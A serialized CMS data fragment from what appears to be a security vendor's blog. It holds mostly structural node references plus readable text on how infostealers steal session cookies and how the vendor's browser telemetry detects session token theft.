0},{},[179066],{"data":179067,"content":179068,"nodeType":866},{},[179069],{"data":179070,"marks":179071,"value":162368,"nodeType":865},{},[],{"data":179073,"content":179074,"nodeType":1570},{},[179075],{"data":179076,"content":179077,"nodeType":866},{},[179078],{"data":179079,"marks":179080,"value":162378,"nodeType":865},{},[],{"data":179082,"content":179083,"nodeType":866},{},[179084,179087,179094,179097,179104,179107,179114,179117,179124],{"data":179085,"marks":179086,"value":162385,"nodeType":865},{},[],{"data":179088,"content":179089,"nodeType":889},{"uri":162388},[179090],{"data":179091,"marks":179092,"value":162394,"nodeType":865},{},[179093],{"type":943},{"data":179095,"marks":179096,"value":2717,"nodeType":865},{},[],{"data":179098,"content":179099,"nodeType":889},{"uri":162400},[179100],{"data":179101,"marks":179102,"value":162406,"nodeType":865},{},[179103],{"type":943},{"data":179105,"marks":179106,"value":3476,"nodeType":865},{},[],{"data":179108,"content":179109,"nodeType":889},{"uri":162412},[179110],{"data":179111,"marks":179112,"value":162418,"nodeType":865},{},[179113],{"type":943},{"data":179115,"marks":179116,"value":162422,"nodeType":865},{},[],{"data":179118,"content":179119,"nodeType":889},{"uri":162425},[179120],{"data":179121,"marks":179122,"value":162431,"nodeType":865},{},[179123],{"type":943},{"data":179125,"marks":179126,"value":162435,"nodeType":865},{},[],{"data":179128,"content":179129,"nodeType":972},{},[],{"data":179131,"content":179132,"nodeType":981},{},[179133],{"data":179134,"marks":179135,"value":162445,"nodeType":865},{},[],{"data":179137,"content":179138,"nodeType":866},{},[179139,179142,179149],{"data":179140,"marks":179141,"value":162452,"nodeType":865},{},[],{"data":179143,"content":179144,"nodeType":889},{"uri":162065},[179145],{"data":179146,"marks":179147,"value":162460,"nodeType":865},{},[179148],{"type":943},{"data":179150,"marks":179151,"value":162464,"nodeType":865},{},[],{"data":179153,"content":179154,"nodeType":866},{},[179155,179158,179165],{"data":179156,"marks":179157,"value":162471,"nodeType":865},{},[],{"data":179159,"content":179160,"nodeType":889},{"uri":162474},[179161],{"data":179162,"marks":179163,"value":162480,"nodeType":865},{},[179164],{"type":943},{"data":179166,"marks":179167,"value":162484,"nodeType":865},{},[],{"data":179169,"content":179170,"nodeType":866},{},[179171],{"data":179172,"marks":179173,"value":162491,"nodeType":865},{},[],{"data":179175,"content":179176,"nodeType":866},{},[179177,179180,179187],{"data":179178,"marks":179179,"value":21,"nodeType":865},{},[],{"data":179181,"content":179182,"nodeType":889},{"uri":162500},[179183],{"data":179184,"marks":179185,"value":162506,"nodeType":865},{},[179186],{"type":943},{"data":179188,"marks":179189,"value":162510,"nodeType":865},{},[],{"data":179191,"content":179192,"nodeType":866},{},[179193],{"data":179194,"marks":179195,"value":162517,"nodeType":865},{},[],{"data":179197,"content":179198,"nodeType":866},{},[179199,179203],{"data":179200,"marks":179201,"value":162525,"nodeType":865},{},[179202],{"type":926},{"data":179204,"marks":179205,"value":162529,"nodeType":865},{},[],{"data":179207,"content":179208,"nodeType":972},{},[],{"data":179210,"content":179211,"nodeType":981},{},[179212],{"data":179213,"marks":179214,"value":162539,"nodeType":865},{},[],{"data":179216,"content":179217,"nodeType":866},{},[179218],{"data":179219,"marks":179220,"value":162546,"nodeType":865},{},[],{"data":179222,"content":179223,"nodeType":1616},{},[179224,179237,179250],{"data":179225,"content":179226,"nodeType":1570},{},[179227],{"data":179228,"content":179229,"nodeType":866},{},[179230,179234],{"data":179231,"marks":179232,"value":162560,"nodeType":865},{},[179233],{"type":926},{"data":179235,"marks":179236,"value":162564,"nodeType":865},{},[],{"data":179238,"content":179239,"nodeType":1570},{},[179240],{"data":179241,"content":179242,"nodeType":866},{},[179243,179247],{"data":179244,"marks":179245,"value":162575,"nodeType":865},{},[179246],{"type":926},{"data":179248,"marks":179249,"value":162579,"nodeType":865},{},[],{"data":179251,"content":179252,"nodeType":1570},{},[179253],{"data":179254,"content":179255,"nodeType":866},{},[179256,179260],{"data":179257,"marks":179258,"value":162590,"nodeType":865},{},[179259],{"type":926},{"data":179261,"marks":179262,"value":162594,"nodeType":865},{},[],{"data":179264,"content":179265,"nodeType":866},{},[179266],{"data":179267,"marks":179268,"value":162601,"nodeType":865},{},[],{"data":179270,"content":179271,"nodeType":866},{},[179272],{"data":179273,"marks":179274,"value":162608,"nodeType":865},{},[],{"data":179276,"content":179277,"nodeType":866},{},[179278,179281,179288],{"data":179279,"marks":179280,"value":162615,"nodeType":865},{},[],{"data":179282,"content":179283,"nodeType":889},{"uri":6710},[179284],{"data":179285,"marks":179286,"value":6715,"nodeType":865},{},[179287],{"type":943},{"data":179289,"marks":179290,"value":162626,"nodeType":865},{},[],{"data":179292,"content":179293,"nodeType":972},{},[],{"data":179295,"content":179296,"nodeType":981},{},[179297],{"data":179298,"marks":179299,"value":162636,"nodeType":865},{},[],{"data":179301,"content":179302,"nodeType":866},{},[179303],{"data":179304,"marks":179305,"value":162643,"nodeType":865},{},[],{"data":179307,"content":179308,"nodeType":1317},{},[179309],{"data":179310,"marks":179311,"value":162650,"nodeType":865},{},[],{"data":179313,"content":179314,"nodeType":866},{},[179315,179318,179325],{"data":179316,"marks":179317,"value":162657,"nodeType":865},{},[],{"data":179319,"content":179320,"nodeType":889},{"uri":162660},[179321],{"data":179322,"marks":179323,"value":162666,"nodeType":865},{},[179324],{"type":943},{"data":179326,"marks":179327,"value":1615,"nodeType":865},{},[],{"data":179329,"content":179330,"nodeType":866},{},[179331],{"data":179332,"marks":179333,"value":162676,"nodeType":865},{},[],{"data":179335,"content":179336,"nodeType":1317},{},[179337],{"data":179338,"marks":179339,"value":162683,"nodeType":865},{},[],{"data":179341,"content":179342,"nodeType":866},{},[179343],{"data":179344,"marks":179345,"value":162690,"nodeType":865},{},[],{"data":179347,"content":179348,"nodeType":866},{},[179349,179352,179359],{"data":179350,"marks":179351,"value":162697,"nodeType":865},{},[],{"data":179353,"content":179354,"nodeType":889},{"uri":62047},[179355],{"data":179356,"marks":179357,"value":62053,"nodeType":865},{},[179358],{"type":943},{"data":179360,"marks":179361,"value":162708,"nodeType":865},{},[],{"data":179363,"content":179364,"nodeType":1317},{},[179365],{"data":179366,"marks":179367,"value":162715,"nodeType":865},{},[],{"data":179369,"content":179370,"nodeType":866},{},[179371],{"data":179372,"marks":179373,"value":162722,"nodeType":865},{},[],{"data":179375,"content":179376,"nodeType":866},{},[179377],{"data":179378,"marks":179379,"value":162729,"nodeType":865},{},[],{"data":179381,"content":179382,"nodeType":866},{},[179383],{"data":179384,"marks":179385,"value":162736,"nodeType":865},{},[],{"data":179387,"content":179388,"nodeType":866},{},[179389,179392,179399],{"data":179390,"marks":179391,"value":162743,"nodeType":865},{},[],{"data":179393,"content":179394,"nodeType":889},{"uri":162746},[179395],{"data":179396,"marks":179397,"value":162752,"nodeType":865},{},[179398],{"type":943},{"data":179400,"marks":179401,"value":14251,"nodeType":865},{},[],{"data":179403,"content":179404,"nodeType":1317},{},[179405],{"data":179406,"marks":179407,"value":162762,"nodeType":865},{},[],{"data":179409,"content":179410,"nodeType":866},{},[179411],{"data":179412,"marks":179413,"value":162769,"nodeType":865},{},[],{"data":179415,"content":179416,"nodeType":866},{},[179417],{"data":179418,"marks":179419,"value":162776,"nodeType":865},{},[],{"data":179421,"content":179422,"nodeType":866},{},[179423],{"data":179424,"marks":179425,"value":162783,"nodeType":865},{},[],{"data":179427,"content":179428,"nodeType":866},{},[179429,179432,179439,179442,179448],{"data":179430,"marks":179431,"value":162790,"nodeType":865},{},[],{"data":179433,"content":179434,"nodeType":889},{"uri":147580},[179435],{"data":179436,"marks":179437,"value":162798,"nodeType":865},{},[179438],{"type":943},{"data":179440,"marks":179441,"value":162802,"nodeType":865},{},[],{"data":179443,"content":179444,"nodeType":889},{"uri":54386},[179445],{"data":179446,"marks":179447,"value":131771,"nodeType":865},{},[],{"data":179449,"marks":179450,"value":162812,"nodeType":865},{},[],{"data":179452,"content":179455,"nodeType":912},{"target":179453},{"sys":179454},{"id":162817,"type":909,"linkType":910},[],{"data":179457,"content":179458,"nodeType":972},{},[],{"data":179460,"content":179461,"nodeType":981},{},[179462],{"data":179463,"marks":179464,"value":162828,"nodeType":865},{},[],{"data":179466,"content":179467,"nodeType":866},{},[179468],{"data":179469,"marks":179470,"value":162835,"nodeType":865},{},[],{"data":179472,"content":179475,"nodeType":912},{"target":179473},{"sys":179474},{"id":162840,"type":909,"linkType":910},[],{"data":179477,"content":179478,"nodeType":981},{},[179479],{"data":179480,"marks":179481,"value":162848,"nodeType":865},{},[],{"data":179483,"content":179484,"nodeType":866},{},[179485],{"data":179486,"marks":179487,"value":162855,"nodeType":865},{},[],{"data":179489,"content":179490,"nodeType":1616},{},[179491,179500],{"data":179492,"content":179493,"nodeType":1570},{},[179494],{"data":179495,"content":179496,"nodeType":866},{},[179497],{"data":179498,"marks":179499,"value":162868,"nodeType":865},{},[],{"data":179501,"content":179502,"nodeType":1570},{},[179503],{"data":179504,"content":179505,"nodeType":866},{},[179506],{"data":179507,"marks":179508,"value":162878,"nodeType":865},{},[],{"data":179510,"content":179511,"nodeType":866},{},[179512],{"data":179513,"marks":179514,"value":162885,"nodeType":865},{},[],{"data":179516,"content":179517,"nodeType":866},{},[179518],{"data":179519,"marks":179520,"value":162892,"nodeType":865},{},[],{"data":179522,"content":179523,"nodeType":1616},{},[179524,179533,179542,179551],{"data":179525,"content":179526,"nodeType":1570},{},[179527],{"data":179528,"content":179529,"nodeType":866},{},[179530],{"data":179531,"marks":179532,"value":162905,"nodeType":865},{},[],{"data":179534,"content":179535,"nodeType":1570},{},[179536],{"data":179537,"content":179538,"nodeType":866},{},[179539],{"data":179540,"marks":179541,"value":162915,"nodeType":865},{},[],{"data":179543,"content":179544,"nodeType":1570},{},[179545],{"data":179546,"content":179547,"nodeType":866},{},[179548],{"data":179549,"marks":179550,"value":162925,"nodeType":865},{},[],{"data":179552,"content":179553,"nodeType":1570},{},[179554],{"data":179555,"content":179556,"nodeType":866},{},[179557],{"data":179558,"marks":179559,"value":162935,"nodeType":865},{},[],{"data":179561,"content":179562,"nodeType":866},{},[179563,179566,179570],{"data":179564,"marks":179565,"value":162942,"nodeType":865},{},[],{"data":179567,"marks":179568,"value":162947,"nodeType":865},{},[179569],{"type":926},{"data":179571,"marks":179572,"value":162951,"nodeType":865},{},[],{"data":179574,"content":179575,"nodeType":866},{},[179576,179579,179586],{"data":179577,"marks":179578,"value":162958,"nodeType":865},{},[],{"data":179580,"content":179581,"nodeType":889},{"uri":62386},[179582],{"data":179583,"marks":179584,"value":162966,"nodeType":865},{},[179585],{"type":943},{"data":179587,"marks":179588,"value":162970,"nodeType":865},{},[],{"data":179590,"content":179593,"nodeType":912},{"target":179591},{"sys":179592},{"id":162975,"type":909,"linkType":910},[],{"data":179595,"content":179596,"nodeType":1317},{},[179597],{"data":179598,"marks":179599,"value":162983,"nodeType":865},{},[],{"data":179601,"content":179602,"nodeType":866},{},[179603],{"data":179604,"marks":179605,"value":162990,"nodeType":865},{},[],{"data":179607,"content":179608,"nodeType":866},{},[179609],{"data":179610,"marks":179611,"value":162997,"nodeType":865},{},[],{"data":179613,"content":179614,"nodeType":866},{},[179615,179618,179625,179628,179635],{"data":179616,"marks":179617,"value":163004,"nodeType":865},{},[],{"data":179619,"content":179620,"nodeType":889},{"uri":163007},[179621],{"data":179622,"marks":179623,"value":163013,"nodeType":865},{},[179624],{"type":943},{"data":179626,"marks":179627,"value":163017,"nodeType":865},{},[],{"data":179629,"content":179630,"nodeType":889},{"uri":163007},[179631],{"data":179632,"marks":179633,"value":163025,"nodeType":865},{},[179634],{"type":943},{"data":179636,"marks":179637,"value":163029,"nodeType":865},{},[],{"data":179639,"content":179640,"nodeType":866},{},[179641,179644,179651,179654,179661,179664,179671],{"data":179642,"marks":179643,"value":163036,"nodeType":865},{},[],{"data":179645,"content":179646,"nodeType":889},{"uri":163039},[179647],{"data":179648,"marks":179649,"value":163045,"nodeType":865},{},[179650],{"type":943},{"data":179652,"marks":179653,"value":11397,"nodeType":865},{},[],{"data":179655,"content":179656,"nodeType":889},{"uri":163051},[179657],{"data":179658,"marks":179659,"value":163057,"nodeType":865},{},[179660],{"type":943},{"data":179662,"marks":179663,"value":163061,"nodeType":865},{},[],{"data":179665,"content":179666,"nodeType":889},{"uri":163064},[179667],{"data":179668,"marks":179669,"value":163070,"nodeType":865},{},[179670],{"type":943},{"data":179672,"marks":179673,"value":163074,"nodeType":865},{},[],{"data":179675,"content":179676,"nodeType":866},{},[179677],{"data":179678,"marks":179679,"value":163081,"nodeType":865},{},[],{"data":179681,"content":179684,"nodeType":912},{"target":179682},{"sys":179683},{"id":163086,"type":909,"linkType":910},[],{"data":179686,"content":179687,"nodeType":866},{},[179688],{"data":179689,"marks":179690,"value":21,"nodeType":865},{},[],{"entries":179692},{"hyperlink":179693,"inline":179694,"block":179695},[],[],[179696,179699,179705,179708],{"sys":179697,"__typename":1414,"type":1415,"ctaText":179698,"buttonLabel":131401,"buttonColour":114626,"buttonUrl":54386},{"id":162817},"Learn more about modern AitM and BitM phishing toolkits",{"sys":179700,"__typename":131392,"title":179701,"youTubeUrl":179702,"imagePlaceholder":179703},{"id":162840},"Session hijacking using stolen session cookies","https://www.youtube.com/watch?v=RlSweA5UfYw",{"url":179704,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/4ONwBrDgXX7NdfkMoIVu8v/775f0c1646e90220b2df9fe17ec30690/Slide_16_9_-_44__2_.png",{"sys":179706,"__typename":1414,"type":1415,"ctaText":179707,"buttonLabel":131401,"buttonColour":1418,"buttonUrl":62386},{"id":162975},"Learn more about how we use browser telemetry to detect and stop session token theft",{"sys":179709,"__typename":1414,"type":1415,"ctaText":179710,"buttonLabel":119811,"buttonColour":1418,"buttonUrl":179711},{"id":163086},"Check out our on-demand webinar for everything you need to know about infostealers and session hijacking","https://pushsecurity.com/resources/video/infostealers-webinar-ondemand/",{"items":179713},[],{},"How infostealers fuel breaches with stolen creds and cookies",{"items":179717},[179718,180208,180706],{"__typename":1429,"sys":179719,"content":179720,"title":142829,"synopsis":142830,"hashTags":59,"publishedDate":142831,"slug":142832,"tagsCollection":180198,"authorsCollection":180204},{"id":142266},{"json":179721},{"data":179722,"content":179723,"nodeType":1382},{},[179724,179740,179756,179762,179767,179773,179779,179785,179791,179798,179814,179820,179826,179832,179837,179843,179869,179875,179881,179887,179893,179898,179904,179910,179916,179942,179947,179953,179959,179985,179990,179996,180002,180008,180014,180019,180024,180030,180036,180042,180047,180053,180059,180065,180071,180087,180100,180106,180112,180118,180123,180129,180145,180150,180156,180179,180185,180191],{"data":179725,"content":179726,"nodeType":866},{},[179727,179730,179737],{"data":179728,"marks":179729,"value":142277,"nodeType":865},{},[],{"data":179731,"content":179732,"nodeType":889},{"uri":127868},[179733],{"data":179734,"marks":179735,"value":142285,"nodeType":865},{},[179736],{"type":943},{"data":179738,"marks":179739,"value":142289,"nodeType":865},{},[],{"data":179741,"content":179742,"nodeType":866},{},[179743,179746,179753],{"data":179744,"marks":179745,"value":142296,"nodeType":865},{},[],{"data":179747,"content":179748,"nodeType":889},{"uri":54386},[179749],{"data":179750,"marks":179751,"value":142304,"nodeType":865},{},[179752],{"type":943},{"data":179754,"marks":179755,"value":142308,"nodeType":865},{},[],{"data":179757,"content":179758,"nodeType":866},{},[179759],{"data":179760,"marks":179761,"value":142315,"nodeType":865},{},[],{"data":179763,"content":179766,"nodeType":912},{"target":179764},{"sys":179765},{"id":142320,"type":909,"linkType":910},[],{"data":179768,"content":179769,"nodeType":866},{},[179770],{"data":179771,"marks":179772,"value":142328,"nodeType":865},{},[],{"data":179774,"content":179775,"nodeType":981},{},[179776],{"data":179777,"marks":179778,"value":142335,"nodeType":865},{},[],{"data":179780,"content":179781,"nodeType":866},{},[179782],{"data":179783,"marks":179784,"value":142342,"nodeType":865},{},[],{"data":179786,"content":179787,"nodeType":866},{},[179788],{"data":179789,"marks":179790,"value":142349,"nodeType":865},{},[],{"data":179792,"content":179793,"nodeType":866},{},[179794],{"data":179795,"marks":179796,"value":142357,"nodeType":865},{},[179797],{"type":70418},{"data":179799,"content":179800,"nodeType":866},{},[179801,179804,179811],{"data":179802,"marks":179803,"value":142364,"nodeType":865},{},[],{"data":179805,"content":179806,"nodeType":889},{"uri":142367},[179807],{"data":179808,"marks":179809,"value":142373,"nodeType":865},{},[179810],{"type":943},{"data":179812,"marks":179813,"value":1615,"nodeType":865},{},[],{"data":179815,"content":179816,"nodeType":981},{},[179817],{"data":179818,"marks":179819,"value":142383,"nodeType":865},{},[],{"data":179821,"content":179822,"nodeType":866},{},[179823],{"data":179824,"marks":179825,"value":142390,"nodeType":865},{},[],{"data":179827,"content":179828,"nodeType":866},{},[179829],{"data":179830,"marks":179831,"value":142397,"nodeType":865},{},[],{"data":179833,"content":179836,"nodeType":912},{"target":179834},{"sys":179835},{"id":135027,"type":909,"linkType":910},[],{"data":179838,"content":179839,"nodeType":866},{},[179840],{"data":179841,"marks":179842,"value":142409,"nodeType":865},{},[],{"data":179844,"content":179845,"nodeType":866},{},[179846,179849,179856,179859,179866],{"data":179847,"marks":179848,"value":142416,"nodeType":865},{},[],{"data":179850,"content":179851,"nodeType":889},{"uri":142419},[179852],{"data":179853,"marks":179854,"value":142425,"nodeType":865},{},[179855],{"type":943},{"data":179857,"marks":179858,"value":142429,"nodeType":865},{},[],{"data":179860,"content":179861,"nodeType":889},{"uri":142432},[179862],{"data":179863,"marks":179864,"value":142438,"nodeType":865},{},[179865],{"type":943},{"data":179867,"marks":179868,"value":6719,"nodeType":865},{},[],{"data":179870,"content":179871,"nodeType":981},{},[179872],{"data":179873,"marks":179874,"value":142448,"nodeType":865},{},[],{"data":179876,"content":179877,"nodeType":866},{},[179878],{"data":179879,"marks":179880,"value":142455,"nodeType":865},{},[],{"data":179882,"content":179883,"nodeType":866},{},[179884],{"data":179885,"marks":179886,"value":142462,"nodeType":865},{},[],{"data":179888,"content":179889,"nodeType":866},{},[179890],{"data":179891,"marks":179892,"value":142469,"nodeType":865},{},[],{"data":179894,"content":179897,"nodeType":912},{"target":179895},{"sys":179896},{"id":142474,"type":909,"linkType":910},[],{"data":179899,"content":179900,"nodeType":981},{},[179901],{"data":179902,"marks":179903,"value":142482,"nodeType":865},{},[],{"data":179905,"content":179906,"nodeType":866},{},[179907],{"data":179908,"marks":179909,"value":142489,"nodeType":865},{},[],{"data":179911,"content":179912,"nodeType":981},{},[179913],{"data":179914,"marks":179915,"value":142496,"nodeType":865},{},[],{"data":179917,"content":179918,"nodeType":866},{},[179919,179922,179929,179932,179939],{"data":179920,"marks":179921,"value":142503,"nodeType":865},{},[],{"data":179923,"content":179924,"nodeType":889},{"uri":142506},[179925],{"data":179926,"marks":179927,"value":142506,"nodeType":865},{},[179928],{"type":943},{"data":179930,"marks":179931,"value":142515,"nodeType":865},{},[],{"data":179933,"content":179934,"nodeType":889},{"uri":142518},[179935],{"data":179936,"marks":179937,"value":142524,"nodeType":865},{},[179938],{"type":943},{"data":179940,"marks":179941,"value":84015,"nodeType":865},{},[],{"data":179943,"content":179946,"nodeType":912},{"target":179944},{"sys":179945},{"id":142532,"type":909,"linkType":910},[],{"data":179948,"content":179949,"nodeType":981},{},[179950],{"data":179951,"marks":179952,"value":142540,"nodeType":865},{},[],{"data":179954,"content":179955,"nodeType":866},{},[179956],{"data":179957,"marks":179958,"value":142547,"nodeType":865},{},[],{"data":179960,"content":179961,"nodeType":866},{},[179962,179965,179972,179975,179982],{"data":179963,"marks":179964,"value":142554,"nodeType":865},{},[],{"data":179966,"content":179967,"nodeType":889},{"uri":142557},[179968],{"data":179969,"marks":179970,"value":142557,"nodeType":865},{},[179971],{"type":943},{"data":179973,"marks":179974,"value":142566,"nodeType":865},{},[],{"data":179976,"content":179977,"nodeType":889},{"uri":142569},[179978],{"data":179979,"marks":179980,"value":142569,"nodeType":865},{},[179981],{"type":943},{"data":179983,"marks":179984,"value":142578,"nodeType":865},{},[],{"data":179986,"content":179989,"nodeType":912},{"target":179987},{"sys":179988},{"id":142583,"type":909,"linkType":910},[],{"data":179991,"content":179992,"nodeType":981},{},[179993],{"data":179994,"marks":179995,"value":142591,"nodeType":865},{},[],{"data":179997,"content":179998,"nodeType":866},{},[179999],{"data":180000,"marks":180001,"value":142598,"nodeType":865},{},[],{"data":180003,"content":180004,"nodeType":866},{},[180005],{"data":180006,"marks":180007,"value":142605,"nodeType":865},{},[],{"data":180009,"content":180010,"nodeType":866},{},[180011],{"data":180012,"marks":180013,"value":142612,"nodeType":865},{},[],{"data":180015,"content":180018,"nodeType":912},{"target":180016},{"sys":180017},{"id":142617,"type":909,"linkType":910},[],{"data":180020,"content":180023,"nodeType":912},{"target":180021},{"sys":180022},{"id":142623,"type":909,"linkType":910},[],{"data":180025,"content":180026,"nodeType":866},{},[180027],{"data":180028,"marks":180029,"value":142631,"nodeType":865},{},[],{"data":180031,"content":180032,"nodeType":981},{},[180033],{"data":180034,"marks":180035,"value":142638,"nodeType":865},{},[],{"data":180037,"content":180038,"nodeType":866},{},[180039],{"data":180040,"marks":180041,"value":142645,"nodeType":865},{},[],{"data":180043,"content":180046,"nodeType":912},{"target":180044},{"sys":180045},{"id":142650,"type":909,"linkType":910},[],{"data":180048,"content":180049,"nodeType":866},{},[180050],{"data":180051,"marks":180052,"value":142658,"nodeType":865},{},[],{"data":180054,"content":180055,"nodeType":866},{},[180056],{"data":180057,"marks":180058,"value":142665,"nodeType":865},{},[],{"data":180060,"content":180061,"nodeType":981},{},[180062],{"data":180063,"marks":180064,"value":142672,"nodeType":865},{},[],{"data":180066,"content":180067,"nodeType":866},{},[180068],{"data":180069,"marks":180070,"value":142679,"nodeType":865},{},[],{"data":180072,"content":180073,"nodeType":866},{},[180074,180077,180084],{"data":180075,"marks":180076,"value":142686,"nodeType":865},{},[],{"data":180078,"content":180079,"nodeType":889},{"uri":142689},[180080],{"data":180081,"marks":180082,"value":142689,"nodeType":865},{},[180083],{"type":943},{"data":180085,"marks":180086,"value":142698,"nodeType":865},{},[],{"data":180088,"content":180089,"nodeType":866},{},[180090,180093,180097],{"data":180091,"marks":180092,"value":142705,"nodeType":865},{},[],{"data":180094,"marks":180095,"value":142710,"nodeType":865},{},[180096],{"type":926},{"data":180098,"marks":180099,"value":142714,"nodeType":865},{},[],{"data":180101,"content":180102,"nodeType":981},{},[180103],{"data":180104,"marks":180105,"value":57175,"nodeType":865},{},[],{"data":180107,"content":180108,"nodeType":866},{},[180109],{"data":180110,"marks":180111,"value":142727,"nodeType":865},{},[],{"data":180113,"content":180114,"nodeType":866},{},[180115],{"data":180116,"marks":180117,"value":142734,"nodeType":865},{},[],{"data":180119,"content":180122,"nodeType":912},{"target":180120},{"sys":180121},{"id":142739,"type":909,"linkType":910},[],{"data":180124,"content":180125,"nodeType":866},{},[180126],{"data":180127,"marks":180128,"value":142747,"nodeType":865},{},[],{"data":180130,"content":180131,"nodeType":866},{},[180132,180135,180142],{"data":180133,"marks":180134,"value":142754,"nodeType":865},{},[],{"data":180136,"content":180137,"nodeType":889},{"uri":54386},[180138],{"data":180139,"marks":180140,"value":142762,"nodeType":865},{},[180141],{"type":943},{"data":180143,"marks":180144,"value":142766,"nodeType":865},{},[],{"data":180146,"content":180149,"nodeType":912},{"target":180147},{"sys":180148},{"id":142771,"type":909,"linkType":910},[],{"data":180151,"content":180152,"nodeType":981},{},[180153],{"data":180154,"marks":180155,"value":142779,"nodeType":865},{},[],{"data":180157,"content":180158,"nodeType":866},{},[180159,180162,180166,180169,180176],{"data":180160,"marks":180161,"value":142786,"nodeType":865},{},[],{"data":180163,"marks":180164,"value":142791,"nodeType":865},{},[180165],{"type":926},{"data":180167,"marks":180168,"value":142795,"nodeType":865},{},[],{"data":180170,"content":180171,"nodeType":889},{"uri":67859},[180172],{"data":180173,"marks":180174,"value":142803,"nodeType":865},{},[180175],{"type":943},{"data":180177,"marks":180178,"value":1615,"nodeType":865},{},[],{"data":180180,"content":180181,"nodeType":866},{},[180182],{"data":180183,"marks":180184,"value":142813,"nodeType":865},{},[],{"data":180186,"content":180187,"nodeType":866},{},[180188],{"data":180189,"marks":180190,"value":142820,"nodeType":865},{},[],{"data":180192,"content":180193,"nodeType":866},{},[180194],{"data":180195,"marks":180196,"value":142828,"nodeType":865},{},[180197],{"type":70418},{"items":180199},[180200,180202],{"sys":180201,"name":342},{"id":4642},{"sys":180203,"name":7796},{"id":7795},{"items":180205},[180206],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":180207},{"url":11425},{"__typename":1429,"sys":180209,"content":180210,"title":180693,"synopsis":180694,"hashTags":59,"publishedDate":126975,"slug":180695,"tagsCollection":180696,"authorsCollection":180702},{"id":126710},{"json":180211},{"data":180212,"content":180213,"nodeType":1382},{},[180214,180220,180227,180260,180267,180286,180293,180339,180346,180353,180360,180365,180372,180459,180466,180473,180496,180503,180510,180517,180524,180531,180537,180586,180593,180598,180615,180621,180628,180635,180642,180649,180656,180663,180670,180676],{"data":180215,"content":180219,"nodeType":912},{"target":180216},{"sys":180217},{"id":180218,"type":909,"linkType":910},"2HffP4X7owzpfj41jnzXmV",[],{"data":180221,"content":180222,"nodeType":866},{},[180223],{"data":180224,"marks":180225,"value":180226,"nodeType":865},{},[],"To detect session token theft, you need three things:",{"data":180228,"content":180229,"nodeType":1616},{},[180230,180240,180250],{"data":180231,"content":180232,"nodeType":1570},{},[180233],{"data":180234,"content":180235,"nodeType":866},{},[180236],{"data":180237,"marks":180238,"value":180239,"nodeType":865},{},[],"Robust logs that provide an identifier to help tie activity to a specific session",{"data":180241,"content":180242,"nodeType":1570},{},[180243],{"data":180244,"content":180245,"nodeType":866},{},[180246],{"data":180247,"marks":180248,"value":180249,"nodeType":865},{},[],"A well-oiled SOC to correlate observed activity in those logs",{"data":180251,"content":180252,"nodeType":1570},{},[180253],{"data":180254,"content":180255,"nodeType":866},{},[180256],{"data":180257,"marks":180258,"value":180259,"nodeType":865},{},[],"And telemetry to tie those logs to a trusted endpoint",{"data":180261,"content":180262,"nodeType":866},{},[180263],{"data":180264,"marks":180265,"value":180266,"nodeType":865},{},[],"The only problem? That third thing didn’t really exist. So we created it.",{"data":180268,"content":180269,"nodeType":866},{},[180270,180274,180282],{"data":180271,"marks":180272,"value":180273,"nodeType":865},{},[],"In this article, we’ll cover how Push’s recently released ",{"data":180275,"content":180277,"nodeType":889},{"uri":180276},"https://pushsecurity.com/help/10114#start",[180278],{"data":180279,"marks":180280,"value":132143,"nodeType":865},{},[180281],{"type":943},{"data":180283,"marks":180284,"value":180285,"nodeType":865},{},[]," feature works, why we built it, and why the unique control point provided by a browser agent unlocks new capabilities for blue teams fighting the effects of infostealer malware and other stolen credential-based attacks.",{"data":180287,"content":180288,"nodeType":981},{},[180289],{"data":180290,"marks":180291,"value":180292,"nodeType":865},{},[],"(You probably already know) Why this matters",{"data":180294,"content":180295,"nodeType":866},{},[180296,180300,180309,180313,180322,180326,180335],{"data":180297,"marks":180298,"value":180299,"nodeType":865},{},[],"Session token theft is a ",{"data":180301,"content":180303,"nodeType":889},{"uri":180302},"https://owasp.org/www-community/attacks/Session_hijacking_attack",[180304],{"data":180305,"marks":180306,"value":180308,"nodeType":865},{},[180307],{"type":943},"session hijacking",{"data":180310,"marks":180311,"value":180312,"nodeType":865},{},[]," technique where endpoint malware is used to extract sessions from an endpoint, and until recently it was ",{"data":180314,"content":180316,"nodeType":889},{"uri":180315},"https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/",[180317],{"data":180318,"marks":180319,"value":180321,"nodeType":865},{},[180320],{"type":943},"relatively rare",{"data":180323,"marks":180324,"value":180325,"nodeType":865},{},[],". It’s easier to ",{"data":180327,"content":180329,"nodeType":889},{"uri":180328},"https://pushsecurity.com/blog/what-is-credential-stuffing/",[180330],{"data":180331,"marks":180332,"value":180334,"nodeType":865},{},[180333],{"type":943},"gain access via a password",{"data":180336,"marks":180337,"value":180338,"nodeType":865},{},[]," than it is to steal a session cookie. ",{"data":180340,"content":180341,"nodeType":866},{},[180342],{"data":180343,"marks":180344,"value":180345,"nodeType":865},{},[],"But there’s an inverse relationship between session-based attacks and MFA adoption. As MFA becomes widespread, adversaries turn to new effective methods of initial entry.",{"data":180347,"content":180348,"nodeType":866},{},[180349],{"data":180350,"marks":180351,"value":180352,"nodeType":865},{},[],"An increasingly common approach involves the use of infostealer malware, which can extract saved credentials, browser cookies, cryptowallets, and other valuable data from the infected endpoint.",{"data":180354,"content":180355,"nodeType":866},{},[180356],{"data":180357,"marks":180358,"value":180359,"nodeType":865},{},[],"Using stolen tokens, adversaries don’t need to bypass MFA directly. They can simply import the tokens into their browser and assume an already authorized session.",{"data":180361,"content":180364,"nodeType":912},{"target":180362},{"sys":180363},{"id":168425,"type":909,"linkType":910},[],{"data":180366,"content":180367,"nodeType":866},{},[180368],{"data":180369,"marks":180370,"value":180371,"nodeType":865},{},[],"A few recent stats show the scope of the problem:",{"data":180373,"content":180374,"nodeType":1616},{},[180375,180396,180418,180439],{"data":180376,"content":180377,"nodeType":1570},{},[180378],{"data":180379,"content":180380,"nodeType":866},{},[180381,180385,180393],{"data":180382,"marks":180383,"value":180384,"nodeType":865},{},[],"Nearly half of the malware detected last year by Sophos targeted victims’ data specifically, and the majority of that malware was classified as infostealers. Source: ",{"data":180386,"content":180387,"nodeType":889},{"uri":149610},[180388],{"data":180389,"marks":180390,"value":180392,"nodeType":865},{},[180391],{"type":943},"2024 Sophos Threat 